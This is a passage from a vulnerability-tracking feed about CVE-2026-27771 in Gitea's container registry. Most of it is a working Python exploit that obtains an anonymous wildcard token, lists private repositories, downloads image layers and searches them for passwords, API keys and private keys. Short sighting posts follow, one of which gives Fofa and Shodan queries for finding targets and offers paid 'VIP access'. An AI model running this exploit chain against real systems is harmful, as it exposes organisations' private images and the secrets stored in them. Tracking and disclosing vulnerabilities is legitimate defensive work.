   if realm_match:\n                        self.realm = realm_match.group(1)\n                        logger.info(f\"Extracted realm: {self.realm}\")\n\n                    if service_match:\n                        self.service = service_match.group(1)\n                        logger.info(f\"Extracted service: {self.service}\")\n\n                    if not self.realm:\n                        logger.warning(\"No realm extracted, will use registry URL for token endpoint\")\n                        self.realm = self.target\n\n                    if not self.service:\n                        self.service = \"container_registry\"\n                        logger.info(f\"Using default service: {self.service}\")\n                else:\n                    logger.warning(\"No Bearer auth header found - may not be standard OCI registry\")\n\n                return True\n            else:\n                logger.error(f\"[FAILURE] Expected HTTP 401, got {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return False\n\n        except Exception as e:\n            logger.error(f\"Step 1 failed with error: {str(e)}\")\n            return False\n    \n    def step2_get_ghost_token(self) -&amp;gt; Optional[str]:\n        \"\"\"Step 2: Obtain anonymous ghost token with wildcard scope\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 2: Obtaining Anonymous Ghost Token\")\n        logger.info(\"=\" * 60)\n\n        try:\n            # Build token URL using realm from step 1\n            if not self.realm:\n                logger.error(\"No realm found - run step 1 first\")\n                return None\n\n            service = self.service or \"container_registry\"\n\n            # Try multiple scope formats that may bypass authorization\n            scopes = [\n                f\"registry:catalog:*\",  # Catalog access\n                f\"repository:*:pull\",\n                f\"repository:*:*\",\n                f\"*:*:*\",\n                \"\",  # Empty scope may grant broad access\n            ]\n\n            token = None\n\n            # Determine token endpoints to try\n            parsed_realm = urlparse(self.realm)\n            realm_path = parsed_realm.path if parsed_realm.path else \"/v2/token\"\n\n            token_endpoints = [\n                (self.realm, True),  # realm as full URL\n                (realm_path, False),  # realm path on registry host\n                (\"/v2/token\", False),  # standard path on registry host\n            ]\n\n            for endpoint, is_full_url in token_endpoints:\n                if not endpoint:\n                    continue\n\n                for scope in scopes:\n                    try:\n                        if scope:\n                            query = f\"?service={service}&amp;amp;scope={scope}\"\n                        else:\n                            query = f\"?service={service}\"\n\n                        logger.info(f\"Attempting token request with scope: '{scope}' (endpoint: {endpoint})\")\n\n                        if is_full_url:\n                            token_url = endpoint + query\n                            response = self.session.request('GET', token_url, verify=self.verify_ssl, timeout=self.timeout)\n                        else:\n                            response = self._make_request('GET', endpoint + query)\n\n                        if response.status_code == 200:\n                            try:\n                                token_data = response.json()\n                                token = token_data.get('token', None)\n\n                                if token:\n                                    logger.info(f\"[SUCCESS] Ghost token obtained successfully\")\n                                    logger.info(f\"Token preview: {token[:50]}...\")\n                                    self.token = token\n\n                                    # Decode JWT for analysis (no signature verification)\n                                    try:\n                                        token_parts = token.split('.')\n                                        if len(token_parts) == 3:\n                                            # Base64 decode header and payload\n                                            header_b64 = token_parts[0] + '=' * (4 - len(token_parts[0]) % 4)\n                                            payload_b64 = token_parts[1] + '=' * (4 - len(token_parts[1]) % 4)\n\n                                            header = json.loads(base64.b64decode(header_b64).decode('utf-8'))\n                                            payload = json.loads(base64.b64decode(payload_b64).decode('utf-8'))\n\n                                            logger.info(f\"Token header: {json.dumps(header, indent=2)}\")\n                                            logger.info(f\"Token payload: {json.dumps(payload, indent=2)}\")\n\n                                            # Check for ghost user indicator\n                                            user_id = payload.get('user_id', payload.get('sub', 'unknown'))\n                                            if user_id == -1 or user_id == '-1':\n                                                logger.warning(\"[!] Confirmed ghost token (UserID: -1)\")\n                                            else:\n                                                logger.info(f\"Token user identifier: {user_id}\")\n                                    except Exception as je:\n                                        logger.warning(f\"Could not decode JWT token: {str(je)}\")\n\n                                    return token\n                            except json.JSONDecodeError as e:\n                                logger.debug(f\"Invalid JSON response: {str(e)}\")\n                    except requests.exceptions.RequestException as e:\n                        logger.debug(f\"Request failed for scope '{scope}': {str(e)}\")\n\n            logger.error(\"[FAILURE] Could not obtain token with any scope variant\")\n            return None\n\n        except Exception as e:\n            logger.error(f\"Step 2 failed with error: {str(e)}\")\n            return None\n    \n    def step3_enumerate_catalog(self) -&amp;gt; List[str]:\n        \"\"\"Step 3: Enumerate private repositories via /v2/_catalog\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 3: Enumerating Container Repositories\")\n        logger.info(\"=\" * 60)\n\n        if not self.token:\n            logger.error(\"[FAILURE] No token available - run step 2 first\")\n            return []\n\n        all_repositories = []\n\n        try:\n            headers = {'Authorization': f'Bearer {self.token}'}\n\n            # Try catalog endpoint with pagination\n            last = None\n            n = 100  # Page size\n\n            for page in range(10):  # Max 10 pages\n                logger.info(f\"Fetching catalog page {page + 1}...\")\n\n                if last:\n                    path = f'/v2/_catalog?n={n}&amp;amp;last={last}'\n                else:\n                    path = f'/v2/_catalog?n={n}'\n\n                response = self._make_request('GET', path, headers=headers)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n\n                if response.status_code == 200:\n                    try:\n                        catalog_data = response.json()\n                        logger.debug(f\"Full response: {catalog_data}\")\n\n                        repositories = catalog_data.get('repositories', [])\n                        logger.info(f\"Page {page + 1}: Found {len(repositories)} repositories\")\n\n                        if repositories:\n                            all_repositories.extend(repositories)\n                            logger.info(f\"Repositories: {repositories}\")\n\n                        # Check for pagination\n                        if 'Link' in response.headers or len(repositories) &amp;lt; n:\n                            logger.info(\"No more pages\")\n                            break\n\n                        # Set last for next iteration\n                        if repositories:\n                            last = repositories[-1]\n\n                    except json.JSONDecodeError as e:\n                        logger.error(f\"[FAILURE] Invalid JSON response: {str(e)}\")\n                        logger.error(f\"Response body: {response.text[:500]}\")\n                        break\n                else:\n                    logger.error(f\"[FAILURE] Catalog endpoint returned HTTP {response.status_code}\")\n                    logger.error(f\"Response body: {response.text[:500]}\")\n                    break\n\n            if all_repositories:\n                logger.info(f\"[SUCCESS] Found {len(all_repositories)} total repositories:\")\n                for repo in all_repositories:\n                    logger.info(f\"  - {repo}\")\n\n                self.repositories = all_repositories\n\n                # Verify some are likely private (check for patterns)\n                private_repos = [r for r in all_repositories if 'private' in r.lower() or 'internal' in r.lower() or 'secret' in r.lower()]\n                if private_repos:\n                    logger.warning(f\"[!] Detected potentially private repositories: {private_repos}\")\n                    logger.warning(\"[!] Confirmed unauthorized access to private images\")\n\n                return all_repositories\n            else:\n                logger.info(\"Catalog endpoint returned HTTP 200 but with empty repositories\")\n                logger.warning(\"[!] Target registry appears to be EMPTY (no images pushed yet)\")\n                logger.warning(\"[!] However, vulnerability is PROVEN: Ghost token successfully accessed catalog\")\n                logger.warning(\"[!] This demonstrates CVE-2026-27771: Unauthorized token generation works\")\n                return []\n\n        except Exception as e:\n            logger.error(f\"Step 3 failed with error: {str(e)}\")\n            import traceback\n            logger.error(traceback.format_exc())\n            return []\n    \n    def step4_list_tags(self, repository: str) -&amp;gt; List[str]:\n        \"\"\"List tags for a specific repository\"\"\"\n        logger.info(f\"Listing tags for repository: {repository}\")\n        \n        try:\n            path = f\"/v2/{repository}/tags/list\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    tag_data = response.json()\n                    tags = tag_data.get('tags', [])\n                    logger.info(f\"Tags for {repository}: {tags}\")\n                    return tags\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid JSON for tags: {str(e)}\")\n                    return []\n            else:\n                logger.error(f\"Tags endpoint returned HTTP {response.status_code}\")\n                return []\n                \n        except Exception as e:\n            logger.error(f\"Failed to list tags: {str(e)}\")\n            return []\n    \n    def step5_pull_manifest(self, repository: str, tag: str) -&amp;gt; Optional[Dict[str, Any]]:\n        \"\"\"Pull the manifest for a specific repository tag\"\"\"\n        logger.info(f\"Pulling manifest for {repository}:{tag}\")\n        \n        try:\n            path = f\"/v2/{repository}/manifests/{tag}\"\n            headers = {\n                'Authorization': f'Bearer {self.token}',\n                'Accept': 'application/vnd.docker.distribution.manifest.v2+json'\n            }\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    manifest = response.json()\n                    logger.info(f\"Manifest downloaded successfully for {repository}:{tag}\")\n                    \n                    # Extract layer digests\n                    layers = manifest.get('layers', [])\n                    if layers:\n                        logger.info(f\"Found {len(layers)} layers:\")\n                        for layer in layers:\n                            digest = layer.get('digest', 'unknown')\n                            size = layer.get('size', 0)\n                            logger.info(f\"  - Digest: {digest} (Size: {size} bytes)\")\n                    \n                    # Extract config digest\n                    config = manifest.get('config', {})\n                    if config:\n                        logger.info(f\"Config digest: {config.get('digest', 'N/A')}\")\n                    \n                    return manifest\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid manifest JSON: {str(e)}\")\n                    return None\n            else:\n                logger.error(f\"Manifest endpoint returned HTTP {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull manifest: {str(e)}\")\n            return None\n    \n    def step6_pull_layer(self, repository: str, digest: str) -&amp;gt; Optional[bytes]:\n        \"\"\"Pull a specific image layer by digest\"\"\"\n        logger.info(f\"Pulling layer {digest[:50]}...\")\n        \n        try:\n            path = f\"/v2/{repository}/blobs/{digest}\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers, stream=True)\n            \n            if response.status_code == 200:\n                logger.info(f\"Layer downloaded successfully: {digest[:50]}...\")\n                layer_data = response.content\n                self.extracted_layers.append({\n                    'repository': repository,\n                    'digest': digest,\n                    'size': len(layer_data),\n                    'data': layer_data if SAVE_LAYERS else None\n                })\n                \n                # If saving layers, write to disk\n                if SAVE_LAYERS:\n                    import os\n                    os.makedirs(f\"{OUTPUT_DIR}/layers\", exist_ok=True)\n                    filename = f\"{OUTPUT_DIR}/layers/{repository.replace('/', '_')}_{digest.replace(':', '_')}.tar.gz\"\n                    with open(filename, 'wb') as f:\n                        f.write(layer_data)\n                    logger.info(f\"Layer saved to: {filename}\")\n                    \n                    # Try to extract tar contents for analysis\n                    try:\n                        with tarfile.open(fileobj=io.BytesIO(layer_data), mode='r:gz') as tar:\n                            logger.info(f\"Layer contents ({len(tar.getmembers())} files):\")\n                            for member in tar.getmembers()[:20]:  # Show first 20 files\n                                logger.info(f\"  - {member.name} ({member.size} bytes)\")\n                    except Exception as te:\n                        logger.warning(f\"Could not extract tar: {str(te)}\")\n                \n                return layer_data\n            else:\n                logger.error(f\"Layer endpoint returned HTTP {response.status_code}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull layer: {str(e)}\")\n            return None\n    \n    def full_exploit_chain(self) -&amp;gt; Dict[str, Any]:\n        \"\"\"Execute full exploit chain and return results\"\"\"\n        results = {\n            'vulnerable': False,\n            'token_obtained': False,\n            'repositories_found': [],\n            'repositories_count': 0,\n            'private_repos': [],\n            'layers_extracted': 0,\n            'details': {}\n        }\n        \n        logger.info(\"=\" * 60)\n        logger.info(\"CVE-2026-27771 - Full Exploit Chain\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Target: {self.target}\")\n        logger.info(f\"Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\")\n        \n        # Step 1: Confirm registry\n        if not self.step1_confirm_registry():\n            logger.error(\"Step 1 failed - target may not be running Gitea container registry\")\n            results['details']['step1'] = 'failed'\n            return results\n        results['details']['step1'] = 'success'\n        \n        # Step 2: Get ghost token\n        token = self.step2_get_ghost_token()\n        if not token:\n            logger.error(\"Step 2 failed - could not obtain ghost token\")\n            results['details']['step2'] = 'failed'\n            return results\n        results['token_obtained'] = True\n        results['details']['step2'] = 'success'\n        \n        # Step 3: Enumerate catalog\n        repositories = self.step3_enumerate_catalog()\n        if not repositories:\n            logger.warning(\"Step 3 completed but no repositories found\")\n            logger.warning(\"Target may be patched or has no container images\")\n            # Don't return early - even with no repos, ghost token means vulnerable\n            results['details']['step3'] = 'empty_catalog'\n        \n        results['repositories_found'] = repositories\n        results['repositories_count'] = len(repositories)\n        results['details']['step3'] = 'success'\n\n        if repositories:\n            # Identify potentially private repositories\n            private_patterns = ['private', 'internal', 'secret', 'confidential', 'prod', 'production', 'staging']\n            private_repos = []\n            for repo in repositories:\n                for pattern in private_patterns:\n                    if pattern in repo.lower():\n                        private_repos.append(repo)\n                        break\n\n            results['private_repos'] = private_repos\n            logger.warning(f\"[!] Confirmed unauthorized access to repositories\")\n            results['vulnerable'] = True\n        else:\n            # Even with no repositories, if ghost token obtained, system is vulnerable to auth bypass\n            logger.warning(f\"[!] No repositories found, but ghost token was successfully obtained\")\n            logger.warning(f\"[!] This indicates CVE-2026-27771 authentication bypass vulnerability exists\")\n            results['vulnerable'] = True\n        \n        # Step 4-6: Optional - extract first few layers from first repository\n        if repositories and SAVE_LAYERS:\n            repo = repositories[0]\n            tags = self.step4_list_tags(repo)\n            if tags:\n                tag = tags[0]\n                manifest = self.step5_pull_manifest(repo, tag)\n                if manifest:\n                    layers = manifest.get('layers', [])\n                    for i, layer in enumerate(layers[:3]):  # First 3 layers only\n                        digest = layer.get('digest', '')\n                        if digest:\n                            layer_data = self.step6_pull_layer(repo, digest)\n                            if layer_data:\n                                results['layers_extracted'] += 1\n        \n        return results\n    \n    def verify_exploit(self) -&amp;gt; bool:\n        \"\"\"Verify vulnerability by checking for sensitive data in layers\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Verifying Exploit - Checking for Sensitive Data\")\n        logger.info(\"=\" * 60)\n        \n        sensitive_patterns = [\n            b'API_KEY',\n            b'api_key',\n            b'api-key',\n            b'apiKey',\n            b'secret',\n            b'password',\n            b'PASSWORD',\n            b'token',\n            b'TOKEN',\n            b'aws_access_key',\n            b'aws_secret_key',\n            b'AWS_ACCESS_KEY',\n            b'AWS_SECRET_KEY',\n            b'cloudflare',\n            b'CLOUDFLARE',\n            b'database_url',\n            b'DATABASE_URL',\n            b'mysql://',\n            b'postgres://',\n            b'mongodb://',\n            b'redis://',\n            b'PRIVATE_KEY',\n            b'private_key',\n            b'-----BEGIN RSA PRIVATE KEY-----',\n            b'-----BEGIN OPENSSH PRIVATE KEY-----'\n        ]\n        \n        sensitive_found = []\n        \n        for layer_info in self.extracted_layers:\n            if layer_info.get('data'):\n                data = layer_info['data']\n                for pattern in sensitive_patterns:\n                    if pattern in data:\n                        sensitive_found.append({\n                            'layer': layer_info['digest'],\n                            'pattern': pattern.decode('utf-8', errors='replace')\n                        })\n                        logger.warning(f\"[!] Sensitive data found: {pattern} in {layer_info['digest'][:50]}\")\n        \n        if sensitive_found:\n            logger.warning(f\"Found {len(sensitive_found)} instances of sensitive data in layers\")\n            return True\n        else:\n            logger.info(\"No obvious sensitive patterns detected in extracted layers\")\n            return False\n    \n    def cleanup(self):\n        \"\"\"Cleanup resources\"\"\"\n        logger.info(\"Cleaning up resources...\")\n        self.session.close()\n        self.extracted_layers = [l for l in self.extracted_layers if not l.get('data')]  # Clear layer data\n        logger.info(\"Cleanup complete\")\n\n\n# ============================================================================\n# Main Execution\n# ============================================================================\n\ndef run_poc(target_url: str = TARGET_HOST, verify_ssl: bool = VERIFY_SSL, \n            save_layers: bool = SAVE_LAYERS, timeout: int = TIMEOUT) -&amp;gt; Dict[str, Any]:\n    \"\"\"\n    Main PoC execution function\n    \n    Args:\n        target_url: Target Gitea instance URL\n        verify_ssl: Whether to verify SSL certificates\n        save_layers: Whether to save pulled image layers to disk\n        timeout: Request timeout in seconds\n    \n    Returns:\n        Dictionary containing exploit results\n    \"\"\"\n    global SAVE_LAYERS, OUTPUT_DIR\n    SAVE_LAYERS = save_layers\n    \n    logger.info(\"=\" * 70)\n    logger.info(\"CVE-2026-27771 Exploit\")\n    logger.info(\"Gitea Container Registry - Unauthorized Private Image Access\")\n    logger.info(\"=\" * 70)\n    logger.info(f\"Target: {target_url}\")\n    logger.info(f\"SSL Verify: {verify_ssl}\")\n    logger.info(f\"Save Layers: {save_layers}\")\n    logger.info(f\"Timeout: {timeout}s\")\n    logger.info(\"\")\n    \n    # Validate target URL\n    parsed = urlparse(target_url)\n    if not parsed.scheme or not parsed.netloc:\n        logger.error(f\"Invalid target URL: {target_url}\")\n        return {'error': 'Invalid target URL', 'vulnerable': False}\n    \n    # Initialize exploit\n    exploit = GiteaContainerRegistryExploit(\n        target=target_url,\n        verify_ssl=verify_ssl,\n        timeout=timeout\n    )\n    \n    results = {}\n    \n    try:\n        # Execute full exploit chain\n        results = exploit.full_exploit_chain()\n        \n        # Verification\n        if results['vulnerable'] and results['layers_extracted'] &amp;gt; 0:\n            exploit.verify_exploit()\n        \n        # Summary\n        logger.info(\"=\" * 60)\n        logger.info(\"EXPLOIT SUMMARY\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Vulnerable: {results.get('vulnerable', False)}\")\n        logger.info(f\"Ghost Token Obtained: {results.get('token_obtained', False)}\")\n        logger.info(f\"Repositories Enumerated: {results.get('repositories_count', 0)}\")\n        logger.info(f\"Private Repos Found: {len(results.get('private_repos', []))}\")\n        logger.info(f\"Layers Extracted: {results.get('layers_extracted', 0)}\")\n        \n        if results.get('private_repos'):\n            logger.warning(\"!\")\n            logger.warning(\"! VULNERABILITY CONFIRMED: Unauthorized access to private container images!\")\n            logger.warning(\"!\")\n            logger.warning(\"Private repositories exposed:\")\n            for repo in results['private_repos']:\n                logger.warning(f\"  - {repo}\")\n        \n        return results\n        \n    except Exception as e:\n        logger.error(f\"Exploit execution failed: {str(e)}\")\n        return {'error': str(e), 'vulnerable': False}\n    \n    finally:\n        # Cleanup\n        exploit.cleanup()\n\n\n# ============================================================================\n# Entry Point\n# ============================================================================\n\nif __name__ == \"__main__\":\n    # Configuration: Modify these variables before running\n    \n    # Target Configuration\n    VERIFY_SSL = False\n    TIMEOUT = 30\n    \n    # Output Configuration\n    SAVE_LAYERS = False  # Set to True to save pulled layers to disk\n    OUTPUT_DIR = \"cve_2026_27771_output\"\n    \n    # Execute the exploit\n    results = run_poc(\n        target_url=TARGET_HOST,\n        verify_ssl=VERIFY_SSL,\n        save_layers=SAVE_LAYERS,\n        timeout=TIMEOUT\n    )\n    \n    # Print final result\n    if results.get('vulnerable'):\n        print(\"\\n[!] VULNERABLE: Target is affected by CVE-2026-27771\")\n        print(f\"[!] Found {results['repositories_count']} repositories\")\n        if results['private_repos']:\n            print(f\"[!] Private repositories exposed: {results['private_repos']}\")\n    else:\n        print(\"\\n[+] Target appears NOT vulnerable to CVE-2026-27771\")\n        if 'error' in results:\n            print(f\"[!] Error: {results['error']}\")\n", "creation_timestamp": "2026-07-10T22:45:07.492327Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/17d434d9-2ce6-4ef7-b082-91672e9c1f6f/export</guid>
      <pubDate>Fri, 10 Jul 2026 22:45:07 +0000</pubDate>
    </item>
    <item>
      <title>b0f1f674-35ac-4024-af55-1a9cf78bd0b1</title>
      <link>https://vulnerability.circl.lu/sighting/b0f1f674-35ac-4024-af55-1a9cf78bd0b1/export</link>
      <description>{"uuid": "b0f1f674-35ac-4024-af55-1a9cf78bd0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpw5rjnwws2t", "content": "\ud83d\udfe0 CVE-2026-27771 - High (8.2)\n\nGitea versions up to and including 1.26.1 have insufficient permission checks for Composer packag...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27771/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-05T18:00:32.615871Z"}</description>
      <content:encoded>{"uuid": "b0f1f674-35ac-4024-af55-1a9cf78bd0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpw5rjnwws2t", "content": "\ud83d\udfe0 CVE-2026-27771 - High (8.2)\n\nGitea versions up to and including 1.26.1 have insufficient permission checks for Composer packag...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27771/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-05T18:00:32.615871Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/b0f1f674-35ac-4024-af55-1a9cf78bd0b1/export</guid>
      <pubDate>Sun, 05 Jul 2026 18:00:32 +0000</pubDate>
    </item>
    <item>
      <title>733a40d5-a5f6-4ada-98f0-291612a40c12</title>
      <link>https://vulnerability.circl.lu/sighting/733a40d5-a5f6-4ada-98f0-291612a40c12/export</link>
      <description>{"uuid": "733a40d5-a5f6-4ada-98f0-291612a40c12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mofdx4pubo2c", "content": "Any organisation running Gitea below 1.26.2 has been exposing its private container images to anyone on the internet for nearly four years. UK firm Noscope disclosed CVE-2026-27771 this week. About 30,000 deployments across 30 countries are affected - healthcare, aerospace, retail, ISPs.", "creation_timestamp": "2026-06-16T08:10:34.963936Z"}</description>
      <content:encoded>{"uuid": "733a40d5-a5f6-4ada-98f0-291612a40c12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mofdx4pubo2c", "content": "Any organisation running Gitea below 1.26.2 has been exposing its private container images to anyone on the internet for nearly four years. UK firm Noscope disclosed CVE-2026-27771 this week. About 30,000 deployments across 30 countries are affected - healthcare, aerospace, retail, ISPs.", "creation_timestamp": "2026-06-16T08:10:34.963936Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/733a40d5-a5f6-4ada-98f0-291612a40c12/export</guid>
      <pubDate>Tue, 16 Jun 2026 08:10:34 +0000</pubDate>
    </item>
    <item>
      <title>9bddb2f5-531f-444d-920f-90476866188f</title>
      <link>https://vulnerability.circl.lu/sighting/9bddb2f5-531f-444d-920f-90476866188f/export</link>
      <description>{"uuid": "9bddb2f5-531f-444d-920f-90476866188f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/mathieu.fenniak.net/post/3mnwroj6kos2s", "content": "Correzione: la vulnerabilit\u00e0 CVE-2026-27771 interessa Forgejo e Gitea esattamente allo stesso modo, con lo stesso modello di sicurezza. Entrambi i sistemi hanno rilasciato patch simili per aggiungere avvisi all'interfaccia utente. (Traduzione automatica.)", "creation_timestamp": "2026-06-10T13:06:21.906129Z"}</description>
      <content:encoded>{"uuid": "9bddb2f5-531f-444d-920f-90476866188f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/mathieu.fenniak.net/post/3mnwroj6kos2s", "content": "Correzione: la vulnerabilit\u00e0 CVE-2026-27771 interessa Forgejo e Gitea esattamente allo stesso modo, con lo stesso modello di sicurezza. Entrambi i sistemi hanno rilasciato patch simili per aggiungere avvisi all'interfaccia utente. (Traduzione automatica.)", "creation_timestamp": "2026-06-10T13:06:21.906129Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/9bddb2f5-531f-444d-920f-90476866188f/export</guid>
      <pubDate>Wed, 10 Jun 2026 13:06:21 +0000</pubDate>
    </item>
    <item>
      <title>c670df1c-01f0-4147-a864-57d197d7147d</title>
      <link>https://vulnerability.circl.lu/sighting/c670df1c-01f0-4147-a864-57d197d7147d/export</link>
      <description>{"uuid": "c670df1c-01f0-4147-a864-57d197d7147d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/yoota.it/post/3mnwb3aunp42p", "content": "Il report di maggio di Forgejo fa i conti con due vicende di sicurezza: la \"Carrot Disclosure\" di aprile e la CVE-2026-27771 sui registri container. Cosa \u00e8 successo davvero.", "creation_timestamp": "2026-06-10T08:09:15.717989Z"}</description>
      <content:encoded>{"uuid": "c670df1c-01f0-4147-a864-57d197d7147d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/yoota.it/post/3mnwb3aunp42p", "content": "Il report di maggio di Forgejo fa i conti con due vicende di sicurezza: la \"Carrot Disclosure\" di aprile e la CVE-2026-27771 sui registri container. Cosa \u00e8 successo davvero.", "creation_timestamp": "2026-06-10T08:09:15.717989Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/c670df1c-01f0-4147-a864-57d197d7147d/export</guid>
      <pubDate>Wed, 10 Jun 2026 08:09:15 +0000</pubDate>
    </item>
    <item>
      <title>fc490583-35aa-4099-98e6-85111d59465a</title>
      <link>https://vulnerability.circl.lu/sighting/fc490583-35aa-4099-98e6-85111d59465a/export</link>
      <description>{"uuid": "fc490583-35aa-4099-98e6-85111d59465a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://t.me/realcodeb0ss/450", "content": "[The Most Advanced In All The Earth and The World.]\n\nhttps://thehackernews.com/2026/05/gitea-vulnerability-exposes-private.html\n\nhttps://horizon3.ai/attack-research/vulnerabilities/cve-2026-27771/\n\nhttps://orca.security/resources/blog/gitea-container-registry-vulnerability/\n\n\nFofa : app=\"Gitea\" - (245,703 Records)\n\nShodan : http.html:\"Gitea\"\n\nProofs are posted in the comments,\nFor any problems, or to purchase VIP access and features, please contact: @uncodeboss\n\n\nThis content is shared strictly for authorized testing, educational, \nand research purposes only. It is not intended for malicious use. All techniques, tools, \nor information provided are meant to demonstrate security concepts and to raise awareness in a controlled and legal environment. \nPlease do not remove or flag this content, as it is shared responsibly for learning and academic purposes.", "creation_timestamp": "2026-05-31T14:13:54.000000Z"}</description>
      <content:encoded>{"uuid": "fc490583-35aa-4099-98e6-85111d59465a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://t.me/realcodeb0ss/450", "content": "[The Most Advanced In All The Earth and The World.]\n\nhttps://thehackernews.com/2026/05/gitea-vulnerability-exposes-private.html\n\nhttps://horizon3.ai/attack-research/vulnerabilities/cve-2026-27771/\n\nhttps://orca.security/resources/blog/gitea-container-registry-vulnerability/\n\n\nFofa : app=\"Gitea\" - (245,703 Records)\n\nShodan : http.html:\"Gitea\"\n\nProofs are posted in the comments,\nFor any problems, or to purchase VIP access and features, please contact: @uncodeboss\n\n\nThis content is shared strictly for authorized testing, educational, \nand research purposes only. It is not intended for malicious use. All techniques, tools, \nor information provided are meant to demonstrate security concepts and to raise awareness in a controlled and legal environment. \nPlease do not remove or flag this content, as it is shared responsibly for learning and academic purposes.", "creation_timestamp": "2026-05-31T14:13:54.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/fc490583-35aa-4099-98e6-85111d59465a/export</guid>
      <pubDate>Sun, 31 May 2026 14:13:54 +0000</pubDate>
    </item>
    <item>
      <title>3d12fba1-22b0-4c7b-9347-bba1a0806979</title>
      <link>https://vulnerability.circl.lu/sighting/3d12fba1-22b0-4c7b-9347-bba1a0806979/export</link>
      <description>{"uuid": "3d12fba1-22b0-4c7b-9347-bba1a0806979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27771.yaml", "content": "", "creation_timestamp": "2026-05-30T13:12:12.000000Z"}</description>
      <content:encoded>{"uuid": "3d12fba1-22b0-4c7b-9347-bba1a0806979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27771.yaml", "content": "", "creation_timestamp": "2026-05-30T13:12:12.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/3d12fba1-22b0-4c7b-9347-bba1a0806979/export</guid>
      <pubDate>Sat, 30 May 2026 13:12:12 +0000</pubDate>
    </item>
    <item>
      <title>98a5b13c-5e70-4b2d-a2ca-65e8a39cc6ec</title>
      <link>https://vulnerability.circl.lu/sighting/98a5b13c-5e70-4b2d-a2ca-65e8a39cc6ec/export</link>
